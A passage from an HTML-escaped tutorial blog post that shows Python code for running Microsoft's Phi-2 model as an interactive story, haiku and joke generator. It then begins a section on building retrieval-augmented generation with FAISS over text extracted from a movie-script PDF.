&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Download the model and tokenizer from Hugging Face&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    model &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; AutoModelForCausalLM&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;from_pretrained(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;microsoft/phi-2&amp;#34;&lt;/span&gt;, torch_dtype&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;auto&amp;#34;&lt;/span&gt;, trust_remote_code&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    tokenizer &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; AutoTokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;from_pretrained(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;microsoft/phi-2&amp;#34;&lt;/span&gt;, trust_remote_code&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; DEBUG:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Saving model and tokenizer to local directory: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;MODEL_PATH&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Save the model and tokenizer locally&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;save_pretrained(MODEL_PATH)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;save_pretrained(MODEL_PATH)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; DEBUG:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Model device: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;device&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;CUDA available: &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;cuda&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;is_available()&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Set the default device to CUDA if available, otherwise use CPU&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;device &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;device(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;cuda&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;cuda&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;is_available() &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;cpu&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;to(device)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;handle_prompt&lt;/span&gt;(user_input, type_of_text)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;str&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    prompt &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Instruct: Write a &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;type_of_text&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt; about &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;user_input&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;Output:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;with&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;no_grad():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        inputs &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; tokenizer(prompt, return_tensors&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;pt&amp;#34;&lt;/span&gt;, return_attention_mask&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;, add_special_tokens&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        inputs &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {name: tensor&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;to(model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;device) &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; name, tensor &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; inputs&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;items()}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        outputs &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;generate(&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;**&lt;/span&gt;inputs, max_length&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;500&lt;/span&gt;, pad_token_id&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;eos_token_id)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; tokenizer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;batch_decode(outputs)[&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Remove the prompt from the output text&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; text&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;replace(prompt, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;strip()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; text&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;replace(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;lt;|endoftext|&amp;gt;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;strip()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; DEBUG:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Answer:&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;text&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; text
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;__name__&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;__main__&amp;#34;&lt;/span&gt;: 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;while&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;First What would you like to write today?&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;1. Story 📝&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;2. Haiku ✍️&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;3. Joke 😆&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;4. Quit 👋&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        user_choice &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;input&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Choose an option:&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; user_choice &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;4&amp;#39;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;break&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        user_prompt &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;input&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;And on which topic:&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;not&lt;/span&gt; user_prompt&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;strip():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Input cannot be empty or consist only of spaces.&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;continue&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; user_choice &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;1&amp;#39;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(handle_prompt(user_prompt, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;story&amp;#39;&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;elif&lt;/span&gt; user_choice &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;2&amp;#39;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(handle_prompt(user_prompt, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;haiku&amp;#39;&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;elif&lt;/span&gt; user_choice &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;3&amp;#39;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(handle_prompt(user_prompt, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;joke&amp;#39;&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Invalid choice. Please choose a valid option.&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;_&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;100&lt;/span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h2 id=&#34;5-implementing-retrieval-augmented-generation-rag-with-phi-2&#34;&gt;5. Implementing Retrieval-Augmented Generation (RAG) with Phi-2&lt;/h2&gt;
&lt;p&gt;RAG is a powerful technique that combines the strengths of retrieval-based and generation-based approaches to natural language processing. RAG is one of the ways one can get proprietary information and knowledge to the model and use it as part of the prompt.  It leverages a retriever to find relevant context passages and a generator to produce fluent and coherent responses. The retriever identifies relevant context passages, and the generator uses these passages to generate a response.&lt;/p&gt;
&lt;p&gt;This approach allows RAG to produce high-quality, informative, and contextually relevant responses. In-context learning is a key feature of RAG, as it allows the model to learn from the context of the conversation and generate more accurate and relevant responses. This is particularly useful in scenarios where the model needs to understand and respond to complex queries or provide detailed information on a specific topic.&lt;/p&gt;
&lt;p&gt;At a high level, the process of implementing RAG  involves the following steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Generate Embeddings with Phi-2&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;Use Phi-2 to encode your context passages (documents) and extract their embeddings.&lt;/li&gt;
&lt;li&gt;These embeddings will represent the semantic content of each passage.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Create a Vector Index&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;Choose a vector index library or framework (such as &lt;strong&gt;Faiss&lt;/strong&gt;, &lt;strong&gt;Annoy&lt;/strong&gt;, or &lt;strong&gt;HNSW&lt;/strong&gt;).&lt;/li&gt;
&lt;li&gt;Initialize an index structure to store the embeddings efficiently.&lt;/li&gt;
&lt;li&gt;Add the generated embeddings to the index.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Save Embeddings to a Local Vector Database&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;Create a local database to store the embeddings.&lt;/li&gt;
&lt;li&gt;For each context passage, save its corresponding embedding in the database.&lt;/li&gt;
&lt;li&gt;You can use the passage ID or a unique identifier as the key for retrieval.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Perform Similarity Search&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;When you receive a new context (query), encode it using Phi-2 to obtain its embedding.&lt;/li&gt;
&lt;li&gt;Use the vector index to perform a similarity search against the saved embeddings.&lt;/li&gt;
&lt;li&gt;Retrieve the most similar context passages based on cosine similarity or another distance metric.&lt;/li&gt;
&lt;li&gt;Return the relevant passages as results.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In our example, we will use the FAISS library to create a vector index and perform a similarity search. We will also save the embeddings to a local database for efficient retrieval. &lt;a
	
		href = &#34;https://faiss.ai/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		FAISS (Facebook AI Similarity Search)
	&lt;/span&gt;
&lt;/a&gt; is a library developed by Facebook for efficient similarity search and clustering of high-dimensional vectors. It allows for a quick nearest-neighbor search over large datasets and supports CPU and GPU-based computations. FAISS is widely used in information retrieval, recommendation systems, and other applications that require similarity search.&lt;/p&gt;
&lt;h3 id=&#34;51-loading-data-for-rag-and-phi-2&#34;&gt;5.1 Loading data for RAG and Phi-2&lt;/h3&gt;
&lt;p&gt;To implement RAG, we use the script from the Oppenheimer movie - which is quite new in that it is not in the Phi-2 training set and is available as a PDF. We will extract the script from this PDF, creating embeddings, which will then save the embeddings to a local database and perform a similarity search to retrieve relevant context passages based on a user query. We will use the FAISS library to create a vector index and perform a similarity search. We will also save the embeddings to a local database for efficient retrieval.&lt;/p&gt;
&lt;p&gt;We use the &lt;code&gt;PyPDF2&lt;/code&gt; library to parse PDFs, a pure Python library for reading and writing PDF files. It can extract text, merge and split documents, and more. We will use it to extract the PDF text from the Oppenheimer movie script. The following code function shows how to read the PDF and extract the text. This is efficient for our use case, but it is not the most efficient way to extract text from a PDF when thinking about production scale, especially if the PDF has a lot of images and tables.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
